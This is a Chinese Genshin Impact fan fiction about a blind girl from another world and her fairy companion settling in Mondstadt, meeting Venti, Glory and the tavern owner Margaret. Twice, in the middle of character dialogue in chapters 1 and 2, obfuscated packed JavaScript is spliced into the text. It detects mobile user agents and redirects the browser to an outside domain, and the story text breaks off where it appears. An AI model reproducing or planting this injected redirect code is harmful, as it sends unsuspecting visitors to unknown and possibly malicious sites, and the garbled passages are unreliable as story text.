《[原神]非正常角色心动指南》 1. 风语[一]温迪 酒保查尔斯心不在焉地擦拭着手中的高脚杯,冰凉的玻璃杯壁上凝结的水珠沾湿了他的指尖。他往杯里放了一块敦实的方冰,冰块撞击杯底发出清脆的“叮”一声。 接着,他熟练地量取柠檬汁,倾斜着酒瓶,让浅色的液体缓缓流淌过冰块的表面,发出细微的嘶嘶声。他的动作流畅而精准,几乎成了肌肉记忆。 然而,他眼角的余光却始终锁定在吧台对面那个独自静坐的少女身上。 她与这间烟雾缭绕、人声鼎沸的酒馆实在太不协调了。查尔斯在天使的馈赠当了快十年的酒保,见过形形色色的人,但像她这样的,是头一个。 金发的少女肌肤白皙细腻,即使穿着样式简单、宽松的长袍,也无法掩盖她身上那种沉静从容的气度。 仿佛她生来就该坐在高雅的沙龙里,而非这喧闹酒吧的高脚凳上。 然而,这份令人惊叹的美貌中,却带着一丝挥之不去的惋惜——她的双眼,是紧紧闭着的。她的脸上没有流露出任何不安或窘迫,只是微微侧着头,似乎在专注地倾听周围模糊的声响,或者仅仅是在感受空气的流动。 查尔斯停下了手中的动作,好奇地看着她。她闭着眼睛,却不像是在休息,更像是一种常态。纤长的手指轻轻搭在吧台冰凉的木质边缘,姿态放松而自然。 “小姐?”查尔斯的声音不自觉地放轻了些,带着酒保特有的温和礼貌,试图穿透酒吧的嘈杂,“您需要点什么吗?或者说……有什么我能帮您的?” 希尔薇闻声,准确地将脸转向查尔斯声音传来的方向。她的动作没有丝毫犹豫,仿佛能看见他一样。那紧闭的眼睑对着他,脸上那抹柔和的弧度加深了些许,变成一个清晰而友善的微笑。 “一杯清水就好,谢谢。”她的声音响起,带着一种难以言喻的悦耳。 查尔斯点点头,随即意识到她看不见,立刻应道:“好的,马上来。”他特意没有加冰,将杯子放在她面前的吧台上,杯底与木质台面接触时,发出一声轻微的“嗒”。 “您的清水,”他说道,声音依旧放得很轻。他注意到希尔薇的手指摸索到了杯壁,然后稳稳地握住了杯子,小口地啜饮着。 坐在酒馆中,希尔薇微微侧头,安静地听着那些不引人注意的交谈。她想起长姐狄安娜曾轻抚她的金色长发说:“希尔薇,要打听消息的话,最好去酒馆,那儿能听到很多有趣的事。” 当时,她点着头,而后很轻很轻地发出一声疑问:“那我还有出去的可能吗?” 狄安娜沉默了,旋即开口:“我向你保证,希尔薇,总有一天我会带着你逃离这里。” 从回忆中回过神,希尔薇放下杯子,手指轻抚过杯壁残留的水珠。她已经从众人的谈话里捕捉到了一些有用的信息,关于这座叫做蒙德城的地方,风神巴巴托斯的传说,还有最近城里发生的一些事件。 “谢谢你,查尔斯。”她轻声道谢,从吧台凳上起身。 查尔斯看着她准确无误地绕过桌椅,朝着酒馆门口走去。夜风轻抚过希尔薇的脸颊,带着蒲公英和青草的清香。 她走出天使的馈赠,感受着脚下石砖路面的纹理。蒙德城的夜晚比她想象中要热闹,她可以听见远处偶尔传来巡逻骑士的脚步声,还有风车叶片转动时发出的摩擦声。 就在这时,她金色的发丝间忽然钻出一个小小的身影。 “希尔薇!”一个清脆如银铃般的声音响起,那是妖精米蕾特有的音调。米蕾好像只会重复着一句话,不厌其烦地叫着:“希尔薇,希尔薇。” 金发的少女点着头,一遍遍不厌其烦地回应着米蕾:“嗯,米蕾,我在。”不过现在更要紧的是,她身上的摩拉所剩无几了。盲眼的少女无声地叹了口气,她从前从没想过,有一天会为摩拉这种东西发愁。 摩拉是必需品,可惜……希尔薇伸出手抚上自己的眼睛。这个世界并不安全,如果她还能像从前那样自如地运用魔力会好很多,希尔薇感到一阵小小的沮丧,米蕾似乎察觉到希尔薇低落的情绪,用妖精特有的尖细嗓音开口:“希尔薇,我的,用我的眼睛。” “不用的,米蕾,”希尔薇指尖温柔地拂过妖精的翅膀,“今晚我们还能再住一晚歌德大酒店。明天的话,我会试着去城外找一些元素晶核和史莱姆凝液卖钱。” 幸亏她世界的语言和蒙德的大差不差,不然怕是刚来到这个世界她就要因为语言不通而被迫成为一个哑巴了。回到歌德大酒店,希尔薇翻开一本提瓦特通用语入门课程,艰难地学习,要知道这个世界可是有着七个国家,每个国家的语言都不一样,但大多数人除了会说本国的语言,还会说提瓦特通用语。 眼睛看不见并非全是坏事,希尔薇的其他感官因此敏锐了不少。图书馆一位好心的管理员小姐特意为她找了盲文书籍。据她所知,提瓦特大陆的盲文也基本和她原来世界的也差不多。 希尔薇的指尖划过一行行凸起的文字,米蕾耐不住寂寞,在房间里飞来飞去。 自从那次意外后,米蕾的心智便一直停留在了三四岁小孩的样子,她的力量也大大减弱了。 但希尔薇感到庆幸,至少她和米蕾都还活着。 她能感觉到这个世界存在着一种类似她过去所知的魔力,或许她该去炼金术铺问问能不能打造一根辅助她感知和引导元素力的工具? 虽然她体内的魔力回路几乎毁坏殆尽,但说不定还能借助工具引导一点点那种元素力呢? 现在首要情况是赚钱,然后再思考其他问题。希尔薇想着,将玩累的米蕾放到为她准备的柔软小床铺上,自己也沉沉睡去。 第二天一早,希尔薇带着米蕾出门了。她顺着空气中那种特殊元素能量的流动感,来到了蒙德城外的风起地,空气中弥漫着活跃的元素气息。 “晶蝶,希尔薇!”米蕾在她耳边小声叫着,声音里透着兴奋。妖精是神明的造物,天生就得到神明的偏爱。 除了自身体质偏弱,一出生就有着五级魔法师的实力,只可惜现在米蕾和她一样,不,还比她好一点,起码米蕾的眼睛还能看见。 虽然力量大不如前,但米蕾吸引和安抚小小的风晶蝶还是能做到的。 希尔薇摊开手掌,很快,好几只晶莹剔透、仿佛由风构成的晶蝶被米蕾吸引着,轻盈地落在了希尔薇的指尖。晶蝶一触碰到她,便化作了一颗颗小小的、蕴含风元素的晶核。 希尔薇小心地将晶核收集进一个小布袋里,除了晨曦酒庄那边,风起地就是蒙德城附近晶蝶最常聚集的地方了。 在蒙德城门口附近有个炼金术铺,那里的学徒蒂玛乌斯经常会收集这些晶核用于炼金实验,也会付给收集者一些摩拉作为报酬。 感觉收集得差不多了,希尔薇将装晶核的小布袋收好,正准备带着米蕾离开风起地,返回蒙德城。 忽然,她停下了脚步,微微抬起头,她敏锐地感知到不寻常的元素波动出现在附近的上空,这能量让她感到有些不安。米蕾更是害怕地“咿呀”一声,迅速钻进了她浓密的金发里躲藏起来。 紧接着,一个清朗如风的少年嗓音清晰地响起,仿佛就在不远处的树梢上:“嗯哼~风带来了故事的种子,时间使之发芽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969808|177785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 希尔薇的心微微一紧,虽然附近有风神像,骑士团也常在这一带巡逻,但突然出现的陌生人,让她本能地感到警惕。 那句奇怪的开场白也让她困惑,她静静地站着,虽然眼睛紧闭,却准确地“面朝”着声音传来的方向,等待着对方下一步的动作。 那股陌生的元素波动在空气中缓缓流淌,声音的主人似乎并没有急于现身,而是继续吟唱着:“诗在风中飘散,却在心中扎根……” 声音渐渐清晰,伴随着轻柔的脚步声从树梢上传来。希尔薇能听出那是踏过树枝的声响,轻得仿佛羽毛拂过。 “咦?”那个声音忽然停了下来,带着明显的惊讶和一丝好奇,“这里居然还有人?而且还是位…嗯,感知很敏锐的小姐呢。” 希尔薇没有回应,身体微微绷紧,专注地感知着对方的位置和动作,她能感觉到对方轻盈地落在了她前方不远处的草地上。 “哎呀,别那么紧张嘛。”那个声音带着轻松的笑意,似乎向前走近了几步,“我只是个路过的吟游诗人而已,叫我温迪就好。刚才在树上练习新曲子,没想到打扰到你了,真是不好意思呀。” 希尔薇听着对方轻快的语调,不像是有恶意的样子,她稍稍放松了一点紧绷的神经,但警惕心仍在。 “你好,温迪先生。”她礼貌地回应,声音平静,“我是希尔薇。刚才的…诗句,很独特。”她选择了一个中性的词。 “哈哈,过奖过奖!”温迪似乎很高兴,“只是一点小小的即兴创作。希尔薇小姐是在收集风之晶核吗?这个时间在风起地,可不太常见呢?”他注意到了希尔薇手中握着的小布袋。 “是的,”希尔薇简短地回答,并不想过多透露自己的窘境,“需要一些摩拉。” “原来如此。”温迪的声音听起来很理解,“蒙德城内确实一直在收购这些,不过风起地的晶蝶虽然不少,但一个人…嗯,收集起来也不容易吧?”他的话语里带着一丝善意的探究,但并没有冒犯的意思。 “还好,有米蕾帮忙。”希尔薇感觉到发丝间的小妖精轻轻动了动。 “米蕾?”温迪的声音里带着一丝恰到好处的疑问。 “是我的朋友。”希尔薇没有详细解释米蕾的身份,只是简单地说道。她感觉到米蕾似乎没那么害怕了,从她的头发里悄悄探出了一点点。 “哦~有朋友真好!”温迪的语气依然轻松愉快,“说起来,希尔薇小姐似乎对风的气息很敏感?刚才我还没完全落下来,你就发现我了呢。这种感知力可不一般。” 希尔薇沉默了一下,指尖下意识地碰了碰自己的眼睑:“看不见的人,耳朵和感觉总会更用心一些。” “啊……”温迪的声音里掠过一丝了然和不易察觉的温和,“原来是这样。抱歉,是我多问了。” “没关系。”希尔薇轻轻摇头。 一阵微风吹过,带来青草的清新气息。温迪似乎轻轻拨弄了一下他的琴弦。 “风起地的风总是这么舒服。”他感慨道,“希尔薇小姐是刚到蒙德不久吗?感觉以前没见过你。” “是的,刚来几天。”希尔薇承认道。她觉得这个自称吟游诗人的人虽然有些奇怪,但目前为止态度友善,没有威胁。 “欢迎来到蒙德,自由与诗歌之城!”温迪的声音带着真诚的欢迎,“如果你需要帮助,比如熟悉环境,或者打听点消息,作为蒙德最棒的吟游诗人之一,我很乐意效劳哦。当然,是免费的。”他补充了一句,语气轻快。 “谢谢你,温迪先生,”她再次道谢。 2. 风语[二] 哎,总不能每次缺摩拉的时候就去抓晶蝶。希尔薇坐在歌德大酒店房间的窗边,感受着蒙德城的风,开始认真盘算自己能干什么。插花?绘画?音乐演奏?……好吧,她好像什么都做不了,希尔薇小小地托着下巴,陷入沉思。 作为曾经被选定的“神之祭品”,希尔薇从小就被要求学习各种各样的事物。竖琴、复杂的宫廷舞蹈、繁复的礼仪、甚至诗歌吟诵……虽然她始终不明白,这些华而不实的技艺对于一个“祭品”来说究竟有何必要。那些漫长而孤独的练习时光,填满了她在卡尔迪特家族庄园的童年。 四岁那年,在卡尔迪特家族花园中,希尔薇发现了一只妖精,阳光透过树叶洒下斑驳的光影,空气中弥漫着泥土和植物的气息。它轻盈地飞舞在盛开的玫瑰丛间,带着一种不属于尘世的气息。随着神明的隐去,妖精已经很少见了。 现在一只传说中的妖精就出现在她面前,希尔薇小心翼翼地,带着孩子本能的善意和好奇,朝着那个小小的光点,缓缓伸出了自己的手。 米蕾犹豫了一下,然后像一片被风吹落的花瓣,轻盈地落在了希尔薇小小的掌心。 米蕾成为了希尔薇灰暗童年里唯一的玩伴,除了偶尔能见上一面的长姐狄安娜,偌大的卡尔迪特庄园对希尔薇而言,更像一座华美的牢笼。 很多时候,这位被精心培养的“祭品”,都是一个人待在寂静的阁楼里,或者在那空旷得令人心慌的花园中游荡。 她们会一起在花园角落“探险”,米蕾会给她带来清晨最新鲜的露珠,也会在她感到孤单时轻轻哼唱只有妖精才懂的歌谣。米蕾是她倾诉所有秘密和委屈的唯一听众。 十岁那年,一直照顾她起居、她曾以为可以信任的女仆伊莎贝拉,将米蕾的存在秘密报告给了卡尔迪特家族。 这个消息像投入深潭的石子,激起了巨大的波澜。 妖精,那可是神明的眷属,家族高层立刻意识到米蕾的巨大价值。他们决定,要将米蕾从希尔薇身边夺走,交给家族寄予厚望的年轻天才罗南。 年幼的希尔薇被带到家族长老们面前。米蕾焦躁不安地在她肩头飞舞,小小的身体颤抖着。 空气中弥漫着令人窒息的压迫感,无形的魔法屏障早已布下,断绝了她们任何逃离的可能。 “希尔薇,把妖精交出来。”为首的魔法师声音冷酷,不容置疑,“它属于卡尔迪特家族,不是你一个人的玩物,罗南才是它合适的契约者。” “希尔薇,交出我吧。”妖精如此说道。 “不!”希尔薇摇头,金色的发丝甩动,她拎着破烂的魔杖,魔杖尖端指向家族派来的魔法师。 那是她用花园角落里一株珍贵的金合欢树枝,偷偷削磨,再凭着在家族藏书室角落里找到的、关于基础魔杖制作的笔记,耗费了无数个日夜才勉强做成的。 “以希尔薇的生命起誓!”少女清越的声音,带着一种超越年龄的决绝,响彻在冰冷的大厅,“只要我活着一天,就绝不会放弃米蕾!任何人想要伤害她,都必须先踏过我的尸体!” 这近乎自杀的宣言和那根可笑的魔杖,让大厅里瞬间安静了片刻,随即爆发出轻蔑的嗤笑。 “不知天高地厚的小丫头。”老魔法师浑浊的眼中闪过一丝不耐,抬起了枯瘦的手掌,强大的魔力开始凝聚,准备强行禁锢那只妖精,并给这个不知死活的小女孩一点教训。 看得出来卡尔迪斯对妖精的看重,连八级魔法师对派来了,毕竟传说中妖精可是神明的眷属,想来也知道神明隐去的秘密。 新生的妖精站在刚满十岁的孩童身边,轻轻捧住了希尔薇的脸颊,吻了吻孩子的额头,“希尔薇,”米蕾的声音清晰而坚定,“米蕾同样发誓,米蕾永远不会抛弃希尔薇!无论生死,无论去向何方,米蕾永远与你同在!” 一个古老的契约在两人之间形成,既不是主仆契约,也不是力量掠夺,而是两个灵魂自愿的、平等的、共生共存的誓约。 作为先天满灵感的孩子,希尔薇从小就可以听见各种各样的声音,或是被风带来的一缕叹息,或是空气中各种各样魔力的流动。 此刻,赌上自己的生命,赌上自己的所有,不清楚自己魔力等级的希尔薇,召唤出自己此生唯一一次盛大的魔法 妖精米蕾将所有魔力提供给希尔薇,魔力回路支撑不起如此庞大的魔力断裂开来,它瞬间冲垮了希尔薇身体里那脆弱、未经开拓的魔力通道,疼痛瞬间席卷了她全身的每一个角落。 “呃啊——!”希尔薇发出一声痛呼,身体颤抖着,冷汗瞬间浸透了她的衣衫。 剧烈的痛苦让她几乎无法站立,眼前阵阵发黑。 然而,越是痛苦,她的眼神却越是明亮,她死死咬住下唇,紧握着那根简陋的金合欢木魔杖,用尽全身的力气,忍受着身体即将被撑爆的剧痛,无比清晰、一字一顿地念出了她在藏书室看到的那个古老而禁忌的咒语。 随着最后一个音节落下,希尔薇手中的简陋魔杖承受不住这超越极限的力量,“咔嚓”一声碎裂开来! 刺目的、仿佛能净化一切的光芒瞬间吞噬了整个大厅,它狂暴地撕碎了家族魔法师布下的层层禁锢屏障,像纸糊的一样脆弱。 那位强大的老魔法师首当其冲,他凝聚的防御魔法在接触到这光芒风暴的瞬间就被彻底瓦解。 他发出一声难以置信的闷哼,狂暴的元素席卷一切,吹飞了沉重的桌椅,掀翻了华贵的地毯,震碎了精美的琉璃窗。整个大厅一片狼藉,如同飓风过境。 光芒渐渐散去,希尔薇浑身被汗水浸透,脸色惨白如纸。 她那双曾经明亮的眼睛,此刻变得空洞而无神,巨大的魔力反噬和契约的代价,彻底摧毁了她的视觉神经。鲜血从她的眼角、鼻孔、嘴角缓缓淌下。 米蕾也耗尽了所有力量,无力地落在希尔薇的颈窝。 死一般的寂静笼罩了整个大厅,所有人都被这突如其来的、完全超乎想象的恐怖力量震慑住了! 他们惊恐地看着那个跪在地上、双目流血、仿佛随时会死去的金发小女孩,以及她身边那只同样奄奄一息的妖精。 谁也没想到,这个在家族中默默无闻、被视为祭品而存在的希尔薇小姐,第一次展露锋芒,就造成了如此震撼而惨烈的景象。 要是……要是她不是祭品的话,想来应该会带卡尔迪特家族走向另一个辉煌吧,可惜了。 幸运的是,并非所有际遇都是艰难的。葛罗丽小姐就是一个意外的发现,这位温柔善良的盲眼姑娘,是希尔薇在风神像广场“听”风时偶然认识的。 如果没有摩拉的烦恼压在心头,希尔薇很愿意和这位声音如同春风般和煦的小姐多相处。 更让希尔薇感到惊讶的是,除了那位行踪飘忽的吟游诗人温迪,葛罗丽是蒙德城里最先察觉到米蕾存在的人。 “希尔薇,你身边……是不是还有一位小小的朋友?”葛罗丽曾这样好奇地问过,她的感知异常敏锐。 希尔薇没有隐瞒,向这位新朋友介绍了米蕾。米蕾似乎也很喜欢葛罗丽身上的气息,她小心翼翼地飞过去,用微小的指尖轻轻触碰葛罗丽伸出的手。 那痒痒的感觉惹得葛罗丽咯咯笑了起来,笑声像风铃一样清脆。 当葛罗丽得知希尔薇目前居无定所,正为歌德大酒店高昂的房费发愁时,她提出了一个希尔薇无法拒绝的帮助。 “希尔薇,如果你不嫌弃的话,”葛罗丽的声音带着真诚的关切,“我在城里有一处小小的房产,是我父母留下的,位置还算便利,我一个人住也显得空旷了些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969809|177785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “我想……或许你可以搬来和我一起住?租金的话,就按市价的一半算好了,就当是……嗯,帮我做个伴?” 希尔薇感到非常意外,也有些不安。她不想平白接受这么大的恩惠,尤其是在自己如此窘迫的时候,“葛罗丽,这……这太麻烦你了,租金应该按……” “请不要拒绝!”葛罗丽的声音温柔却坚定地打断了她,“能遇到一个能理解我、并且也有‘特别’朋友的人,对我来说是很难得的缘分。” “而且,米蕾也很可爱不是吗?就当是帮我的忙,让那间屋子多点人气吧。” 希尔薇能感受到对方话语中的真诚,想到自己确实囊中羞涩,“谢谢你,葛罗丽。真的……非常感谢你。” 令希尔薇遗憾的是在提瓦特大陆,普通人想要引导元素力,必须依赖一种叫做“神之眼”的外置魔力器官。 没有神之眼,就无法真正驱动元素力,这是世界运转的基石法则之一。 这意味着,即使她体内那残存的、因契约而勉强维系的魔力回路就算没有完全断裂,她也无法像在原来世界那样感知和引导魔力。 亘古以前,天生对魔力极度敏感、被称为“满灵感”的人,往往更容易得到神明的关注,常常成为神眷者或祭司。 但现在,神明隐去,法则不同,这份“满灵感”除了让她能更清晰地感知到风的气息、元素的流动痕迹外,似乎别无他用。 那次事件后,以希尔薇重伤失明、米蕾力量大损而告终。 卡尔迪特家族可能是因为契约已成无法更改,也可能是因为她“祭品”的身份还有最后一点利用价值,并没有对她施加更严厉的惩罚。 只是将她和米蕾一起转移到了家族领地内一个更为偏僻、几乎与世隔绝的小庄园里看管起来。 在那之后漫长而艰难的恢复期里,唯一支撑希尔薇的,除了米蕾,就是长姐狄安娜偷偷带来的一种特殊魔法卷轴。 “希尔薇,这个或许能帮到你,”狄安娜的声音带着疲惫,“这是一种基于强大灵魂链接才能生效的视野共享魔法。” “你和米蕾签订了共生契约,灵魂紧密相连,或许……或许可以通过米蕾的眼睛来看这个世界。” 但这种“看”与常人的视觉截然不同。她无法像普通人那样清晰地分辨物体的颜色、形状和细节。通过米蕾的眼睛,希尔薇感知到的是一个由流动的元素能量构成的世界。 她能“看”到物体散发出的魔力的强弱和轨迹,感知到生命体蕴含的魔力波动。这更像是一种对世界本质能量的“感知”。 此刻,在葛罗丽为她提供的这间蒙德城的小屋里,希尔薇初来乍到,对这个世界的法则和物品的具体形态都还不熟悉。 为了避免不必要的麻烦(比如不小心碰倒东西或走错位置),她暂时不打算动用这份共享的“元素视野”。 “米蕾,”希尔薇轻声呼唤,“能帮我‘看看’房间吗? “好呀,希尔薇!”米蕾欢快地回应着,从她的发丝间飞了出来。 “左边,左边一点点是墙壁,白白的,硬硬的……往前走三步……停!前面就是大桌子啦,木头做的,方方的!”米蕾一边仔细地观察着,一边用她能理解的最简单的语言描述着,“右边……右边空空的,可以放你的小箱子!窗户在对面,有风吹进来,凉凉的,外面有树在摇……” 希尔薇认真地听着米蕾的描述,根据这些信息,小心翼翼地挪动脚步,伸出手摸索着确认位置。 她将装有自己仅有的几件换洗衣物的小箱子放在米蕾指定的地方。 呼,首要的生存问题,住所暂时解决了,但如何在这个陌生的世界真正立足,找到能赚取摩拉养活自己和米蕾的方法,依然是希尔薇面前最大的难题。 3. 风语[三] 对于无家可归之人或没有能力承担生活的人,西风教团是会给予一定的救济金的。 希尔薇不太愿意去领取救济金,比起那些可怜人,她现在的情况倒也不至于说是穷困潦倒。 她应该庆幸米蕾作为妖精,用这个世界的话来说就是元素生物,是不用吃饭的,要不然她恐怕连米蕾都要养不起了。 走投无路地希尔薇打算去猫尾酒馆碰碰运气,感谢卡尔迪特家族,让她至少能够弹奏五种乐器。 即使看不见琴弦或琴键,多年形成的肌肉记忆和敏锐的听觉也能让她流畅演奏。 “或许……会有人对异世界的曲调感兴趣?”抱着这样的希望,希尔薇带着米蕾,循着空气中熟悉的酒馆喧闹声和淡淡的酒香,走向了猫尾酒馆。 推开酒馆的门,里面是不同于天使的馈赠的热闹氛围,更偏向于一种轻松休闲的调调。 老板玛格丽特并不在吧台后面,站在调酒位置的是一位有着明显猫耳和尾巴的少女迪奥娜。 希尔薇在天使的馈赠闲坐时,曾听人提起过这位‘传奇’调酒师,比如她调制的酒总能化腐朽为神奇,拥有独特的风味,以及她那份对酒鬼近乎偏执的厌恶。 据说她一直在寻找能让酒变得难喝的配方,结果却总是适得其反,调出的酒反而更受欢迎。 希尔薇走到吧台前,礼貌地向迪奥娜询问:“你好,请问玛格丽特老板在吗?” 迪奥娜的猫尾有些不耐烦地甩动了一下,语气中带着一丝被打扰的不悦:“玛格丽特不在哦,不知道什么时候回来。你要找她的话,就只能等着了。” “好的,谢谢。那我就在这里等她一会儿。”希尔薇平静地接受了这个信息。等待对她来说早已是家常便饭,何况现在还有米蕾在身边陪伴。 她点了一杯清水,再次感谢迪奥娜没有因此露出嫌弃的表情,找了一个相对安静的角落坐下。 猫尾酒馆内部空间宽敞,装饰精致,空气中弥漫着甜点和咖啡的香气,混合着淡淡的酒味。 这里似乎是蒙德城的贵妇和小姐们钟爱的下午茶场所,饮品价格不菲。 希尔薇安静地坐着,小口啜饮着,一边等待,一边听着周围轻柔的谈笑声和杯碟碰撞的清脆声响。 她心想,提瓦特大陆似乎也有类似妖精的存在?从蒙德的典籍里,她读到过蒙德的建立者,人们信仰的风神巴巴托斯,传说最初就是一位风之精灵。 一杯清水见底时,酒馆门口的风铃轻响。希尔薇听到一个带着笑意的、成熟女性的声音在门口响起,似乎在和熟客打招呼。很快,脚步声朝着吧台这边走来。 “玛格丽特老板回来了,”迪奥娜的声音响起,算是提醒。 希尔薇站起身,朝着脚步声的方向走去。“玛格丽特小姐,你好,我叫希尔薇。听说您在经营猫尾酒馆,我想……冒昧地问一下,您这里是否需要一位演奏者?” 玛格丽特停下脚步,饶有兴致地打量着眼前这位气质独特的金发盲眼少女。她有一张总是笑眯眯的脸,此刻笑容更是加深了几分。 这样一位美丽脱俗又带着神秘感的少女,仅仅是站在酒馆里,恐怕就能吸引不少好奇的目光和顾客。 “演奏者?当然欢迎!”玛格丽特的声音热情洋溢,“希尔薇小姐,对吧?你会演奏什么乐器?水平如何?我们这里确实需要能营造氛围的表演,特别是下午时段。” 希尔薇简单地介绍了自己擅长的乐器,主要提到了便携的里拉琴和一种类似鲁特琴的弦乐器,并坦诚地说明了自己失明的情况,但保证这不会影响演奏的流畅度。 玛格丽特似乎并不介意她的失明,反而觉得这增添了几分独特的吸引力。 她更关心的是实际效果,“口说无凭,希尔薇小姐,介意现在就为我们弹奏一曲吗?让我和这里的客人们感受一下?” 希尔薇没有推辞,当迪奥娜将一把店里备用的手持里拉琴递到她手中时,她熟练地调了调音。 当她的指尖拨动起琴弦,一阵清亮且充满异国格调的旋律弥漫开来。这旋律不同于蒙德惯有的民间小曲,更为繁复精巧,透出古朴典雅的气息。 原本有些嘈杂的酒馆渐渐安静下来,不少客人都被这独特的琴声吸引,目光投向了演奏的少女。 一曲终了,短暂的寂静后,酒馆里响起了真诚的掌声。玛格丽特脸上的笑容更灿烂了:“太棒了!希尔薇小姐,你被录用了!每周三、四、五的下午,两点到五点,这个时段客人最多,你看如何?” “薪酬我们按场次结算,保证让你满意!而且……”她眨了眨眼,“工作期间,店里的饮品和点心,你可以随意享用!” 最后这句话,像一道阳光穿透了希尔薇心头的阴霾。包食物,这意味着她最大的日常开销之一解决了。 一股巨大的、实实在在的轻松感和喜悦涌上心头。 她努力保持着平静,但声音里还是透露出无法掩饰的激动:“非常感谢您,玛格丽特老板。” 解决了迫在眉睫的生计问题,走出猫尾酒馆的希尔薇感觉脚步都轻快了许多。她沿着熟悉的路径,朝着葛罗丽家所在的方向走去,打算把这个好消息第一时间分享给自己的朋友。 然而,就在她转过一个街角,步入一条相对僻静的小巷时,一种异样的感觉让她身体微微一僵。 不是听觉,而是一种直觉,一种被观察的感觉。 她的感知告诉她,似乎有人在暗处注视着她。 希尔薇脚步没有停顿,脸上表情没有丝毫变化,继续平稳地朝着葛罗丽家走去。 蒙德再怎么自由开放,对于一个来历不明、又有些特别的异乡旅人,保持一定程度的警惕也是合情合理的。 她理解这一点,虽然这让希尔薇心底掠过一丝无奈。 走到葛罗丽家门口,她像往常一样,伸手摸索着放在门口那个专门用来放花的木箱。 果然,里面静静地躺着一束带着露珠的风车菊,这是她和葛罗丽的约定,无论多忙,每天都要为对方准备一束鲜花放在门口。 希尔薇拿起花束,轻轻嗅了嗅那清新的气息,然后朝着刚才感觉到的、视线来源的暗巷方向,平静地开口:“不出来见见吗?这位……一直在关注我的小姐?”她能感觉到那股气息带着一种冰凉的锐利感,像蒙德雪山吹来的风。 巷子里安静了片刻,随即响起一声带着点慵懒和些许厌烦的“嘁”。 接着,是靴子踏在石板路上的“哒哒”声,清脆而有节奏。 一个高挑的身影从阴影里走了出来。希尔薇虽然看不见,但能清晰地感知到对方身上散发出的、如同冬日寒霜般凛冽又纯粹的元素气息。 一个年轻女性的声音响起,带着一种玩世不恭的倦怠感:“真讨厌你们这种感知敏锐的人,一点意思都没有。” “是吗?”希尔薇并不在意对方的语气,反而眉眼弯弯,露出一个温和的微笑。她将手中那束还带着阳光温度的风车菊,朝着声音传来的方向递了过去,“送给你,祝你今天生活愉快。” 对方似乎没料到这个 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米蕾没有回答,只是更用力地拽了拽,方向似乎是朝着蒙德广场。希尔薇顺从地站起身,跟着米蕾的指引向外走去。 刚来到通往广场的主路上,一阵清越悠扬的琴声便如溪流般随风飘来,钻入了希尔薇的耳中。 琴声轻快灵动,如同林间跳跃的阳光。 希尔薇不由自主地停下了脚步,微微侧耳,专注地倾听。米蕾也拍着小手,发出细小的、表示喜欢的声音。 循着声音传来的方向,希尔薇朝着广场中央慢慢走去。她能感觉到周围有不少人驻足,享受着这免费的街头演奏。 就在这时,琴声在一个轻盈的滑音后停了下来。短暂的安静后,广场上响起了稀稀落落的掌声。 紧接着,一个带着笑意的、清朗如风的少年嗓音响起,这声音希尔薇绝不会认错:“哎呀呀,这不是我们新来的、琴声能迷倒猫尾酒馆的希尔薇小姐吗?真巧啊!看来风今天不仅带来了好故事,还带来了美妙的缘分呢!” 是温迪,那个在风起地遇到的、自称吟游诗人的奇怪少年。他此刻正坐在风神像下的台阶上,怀里抱着他那把古朴的莱雅琴。 希尔薇朝着声音的方向,脸上露出了一个微笑:“温迪先生?真巧,没想到在这里遇见你。刚才的琴声……非常动听。” “哈哈,能得到专业人士的夸奖,我可太荣幸了!”温迪笑嘻嘻地站起身,动作轻盈得像一片羽毛,“我刚听人说猫尾酒馆新来了一位技艺非凡的演奏家,弹的曲子闻所未闻,美妙极了,正想去见识见识呢!没想到正主自己就走到我面前了!”他语气真诚,带着毫不掩饰的好奇和赞赏。 米蕾似乎还记得温迪身上那好闻的气息,不再像上次那样害怕,反而好奇地绕着温迪飞了一小圈。 温迪注意到了这个小家伙,眼睛一亮:“啊,这应该就是你的朋友米蕾吧,看来你们在蒙德安顿下来了?真是太好了。” 他看向希尔薇,笑容温和,“听到你找到了合适的工作,真为你高兴,希尔薇小姐。” “谢谢,”希尔薇真诚地说。 “既然这么有缘,”温迪抱着琴,热情地提议道,“要不要找个时间一起交流一下?我对你那些‘异世界’的曲子可感兴趣了!说不定我们能碰撞出些新的灵感呢?” 虽然希尔薇知道她来自其他世界算不上什么秘密,但就这么被一个吟游诗人说出口,还是让她有点小小的····苦恼啊。或者说,蒙德的吟游诗人都这么敏锐吗? 4. 风语[四] 希尔薇虽然随口应下了温迪的邀约,但其实并没有打算真的赴约。对于温迪这样神秘的人,她本能地保持着距离。 而且……希尔薇轻轻揉了揉自己的脸颊,她对自己的演奏水平有着清醒的认识。 她的琴声,技巧是娴熟的,旋律是优美的,这得益于卡尔迪特家族严苛到近乎残酷的训练。 但好听归好听,她自己也知道,她的琴声里似乎总是缺少了一点什么,那种能真正打动人心的的情感。 就像一朵精心制作、栩栩如生的假花。 周三下午,希尔薇准时出现在了猫尾酒馆。玛格丽特热情地将她引到一个特意布置的、光线柔和的小演奏区,当希尔薇抱着里拉琴坐下,指尖流淌出第一个音符时,原本有些喧闹的酒馆渐渐安静了下来。 她的琴声如同清泉流淌,带着一种不属于蒙德的、古老而优雅的韵律。客人们被这新颖的曲调吸引,纷纷投来欣赏的目光。 贵妇们轻声交谈,称赞着这位气质独特的盲眼演奏家技艺不凡;年轻的姑娘们则觉得她的曲子带着一种神秘的忧郁感,很是吸引人。 